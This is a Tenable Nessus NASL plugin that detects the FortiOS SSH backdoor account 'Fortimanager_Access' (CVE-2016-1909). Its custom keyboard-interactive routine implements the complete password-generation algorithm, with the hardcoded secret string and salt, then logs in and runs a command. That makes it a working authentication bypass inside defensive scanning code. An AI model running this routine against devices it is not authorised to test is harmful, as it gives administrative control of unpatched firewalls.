Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability

#TRUSTED 29be972de4b89323bcc66a082e76f6a7b0da717944b38cd9e4d779bb7d3005249232a2dd178b048ce213ac60ec1a2fd4a53e87338da54c6c746caf1ed40bfc8e40c5fb7e2de632adfb55c0674f6374498585381157a23831d029062f15569011d26e5613e917c1e827a75cd78e64152baab92f6d7c500e780c7a06005a9da5361f70df072b092d914c68b94b2a936acc5d1ddc0e3b3a7a3e179465a799b52cd82ad5463fcac89a47a5b4aa72bb6b3a80048282b9d7ed6c9da736068d79ebaef729aedb2b05826b8a4fc3405e4d37f2353b884064840ec1e7e7cd2eef04eb2e15470b4f7edca66c3d31727d8befc10db0db811c4bdba2012499a8dfa42f9560d280c52eead6ac19daa973a07fc558b222c9ca8b94d7b79d049ea4f3fae0d19b38da1e5653eedbc8e3956c181750d7c91f383d5ecf3d97fc7c27d815b482eec0f2ca79df20066505202254e4f622e1d95cfb2627228ac062667b415611a8ac2a16cbf88e72fe872cba7f40d6401a154d5ad445e78afe31f760429545013f720d6ca520ee9c8e6de75cc191f05d60f199a7202aefddd20208e87d6c39e7643d0da298483e0eec19c53dae81da56aa56724dc6161e2a34b8c6b90d6a2e35a27d86a761d68b3215c5f76b405bbdf9d2130e7a0797286b4ca7e5f30c93f801b407eb21c24417d05fbbd99dd8b315ddea350d09095968712ca7692437809facaa962707
#TRUST-RSA-SHA256 6218e265a54a6cda2abde85c53f37fe3d37c0f490bb26aa65fae43e9c7e9490a2aa71533fe0f66be0895bec6499d1a9b5f618003dc5c3db112c60e04294113ec768b184bea20d94a56bf5e023dd7bf4e8dc10782c44ef3e1ec82cc90d76402c282b1456b9f2c601a3de95ebdd2527b71cec913da2aacafe4389d7e3c5bdea32f3fb36da1d2e806af63a0790fbe8721a515f94b4e8b866ecba219a786718f163ba807d4a5e37fc6e4d6c9f17dc891af9218527a6e97b36527938d5943fa2741065f6740ce42fc191f74b0839ac62c7be47b449dedbc24ded7b0a6359e3014dd81f00379585b78757f6881471f048b4ecda1f1a69007b9056e06db66f5b46947eb96cc1dbcd63b82481d114042e44f94c4de1e45fbcda51e8e52334d9e7d8e707c9a9719cb209fe75764a882178dbcd5194284cad3d6f1efb19ecd753f49943978a706cc5e607ef9765cbbe5fe0776e0116937e416bec315578417fb256be680e689a221e393f9b30a2372c584d7d826b0d5c856c51abf36d29130ba3f2ac7a5e676db689dc5e4ec04ad28d629e35240e52d5f4dc263fbc1764a2d6a634f7dc72946821f79aebd9ac9d81c39cdbb9bb0ea88733eead361bd8b18b33e4c267c88469697c3e36361c8f55c53cf901ed64826cbd29d2650e2188c84e3e6839c3d658c7b0a42a7bd315b42ca86971fb60435beb2c644b147734afb820265a0ddd0f0af
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(87896);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/05/27");

  script_cve_id("CVE-2016-1909");
  script_bugtraq_id(80581);

  script_name(english:"Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability");
  script_summary(english:"Attempts to login to SSH as the user 'Fortimanager_Access'.");

  script_set_attribute(attribute:"synopsis", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials.");
  script_set_attribute(attribute:"description", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials. The 'Fortimanager_Access' account has a
password based on the string 'FGTAbc11*xy+Qqz27' and a calculated hash
that is publicly known. A remote attacker can exploit this to gain
administrative access to the remote host.");
  # https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0c2dcc56");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2016/Jan/26");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Fortinet FortiOS 4.3.17 / 5.0.8 / 5.2.x / 5.4.x or later.
Alternatively, as a workaround, disable administrative access via SSH
on all interfaces.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-1909");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/01/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/07/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fortinet:fortios");
  script_set_attribute(attribute:"in_the_news", value:"true");
  script_set_attribute(attribute:"default_account", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2025 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh");

  script_exclude_keys("global_settings/supplied_logins_only");

  exit(0);
}

include("ssh_func.inc");
include("data_protection.inc");

checking_default_account_dont_report = TRUE;

# This script implements its own SSH login logic. The reason for  this is that
# this exploit requires special logic at the interactive password prompt.
# Instead of having a normal prompt like "Password:", affected versions will
# prompt with a string of digits. These digits are rolled into a custom
# "hashing" algorithm in order to generate a semi-random password.

function ssh_custom_interactive_auth(user, port)
{
  local_var code, crap, next, payload, prompt, prompts, res, inst, i, password;

  # Request keyboard-interactive authentication from the server.
  payload =
    putstring(buffer:user) +
    putstring(buffer:"ssh-connection") +
    putstring(buffer:"keyboard-interactive") +
    putstring(buffer:"en-US") +
    putstring(buffer:"");

  send_ssh_packet(code:SSH_MSG_USERAUTH_REQUEST, payload:payload);

  # Read the server's response.
  res = recv_ssh_packet();
  code = ord(res[0]);
  next = 1;

  if (code == SSH_MSG_USERAUTH_FAILURE) return FALSE;
  if (code == SSH_MSG_UNIMPLEMENTED) return FALSE;
  if (code != SSH_MSG_USERAUTH_INFO_REQUEST) return FALSE;

  # Skip over name.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Skip over instruction.
  inst = getstring(buffer:res, pos:next);
  next += 4 + strlen(inst);

  # Skip over language.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Parse number of prompts.
  prompts = ntol(buffer:res, begin:next);
  next += 4;

  if (prompts <= 0) return FALSE;

  # the prompt is the challenge code
  prompt = getstring(buffer:res, pos:next);

  # verify the "prompt" is all numerals
  for (i = 0; i < strlen(prompt); i++) {
    if (prompt[i] < '0' || prompt[i] >'9') {
      if (i != 0) return FALSE;
      else if (prompt[i] != '-') return FALSE;
    }
  }

  # generate the SHA1 encoded portion
  local_var sha1_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  sha1_password += prompt;
  sha1_password += 'FGTAbc11*xy+Qqz27';
  sha1_password += '\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70';
  sha1_password = SHA1(sha1_password);

  # generate the base64 encoded version
  local_var base64_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  base64_password += sha1_password;
  base64_password = base64(str:base64_password);

  # the final form of the password
  password = 'AK1' + base64_password;

  # Send a single response, containing the password, to server.
  SSH_PACKET_LOG_SCRUB_STRING = password;
  payload = raw_int32(i:1) + putstring(buffer:password);
  send_ssh_packet(code:SSH_MSG_USERAUTH_INFO_RESPONSE, payload:payload);
  SSH_PACKET_LOG_SCRUB_STRING = FALSE;

  # Read response from server.
  res = recv_ssh_packet();
  code = ord(res[0]);
  return code == SSH_MSG_USERAUTH_SUCCESS;
}

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# Hard coded username enabled keyboard-interactive
user = 'Fortimanager_Access';
password = '';
port = get_service(svc:"ssh", exit_on_fail:TRUE);

_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);

# initialization
init();
server_version = ssh_exchange_identification();

#Fortios devices lockout after multiple attempts so sleep and try again
if (!server_version && "Login refused, too many authentication failures." >< sshlib::_compat_session.error)
{
  sleep(60);
  _ssh_socket = open_sock_tcp(port);
  if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);

  init();

  server_version = ssh_exchange_identification();
}

if (!server_version)
{
  ssh_close_connection();
  audit(AUDIT_RESP_BAD, port, "SSH ID exchange.");
}

_ssh_server_version = server_version;

# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_req_svc("ssh-userauth"))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_auth_supported(method:"keyboard-interactive", user:user))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

system_status = '';
if (ssh_custom_interactive_auth(user:user, port:port)) {
  resp = ssh_cmd(cmd:"get system status", nosh:TRUE, nosudo:TRUE);
  if (resp && "Version:" >< resp) {
    system_status = resp;
  }
}

ssh_close_connection();

if (system_status != '')
{
  if (report_verbosity > 0)
  {
     report =
       '\n' + 'It was possible to SSH into the remote FortiOS device using the' +
       '\n' + 'following username :' +
       '\n' +
       '\n' + '  User     : ' + data_protection::sanitize_user_enum(users:user) +
       '\n' +
       '\n' + 'and to run the \'get system status\' command, which returned :'+
       '\n' +
       '\n' + system_status + '\n';
    security_hole(port:port, extra:report);
  } else security_hole(port:port);
}
else
{
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}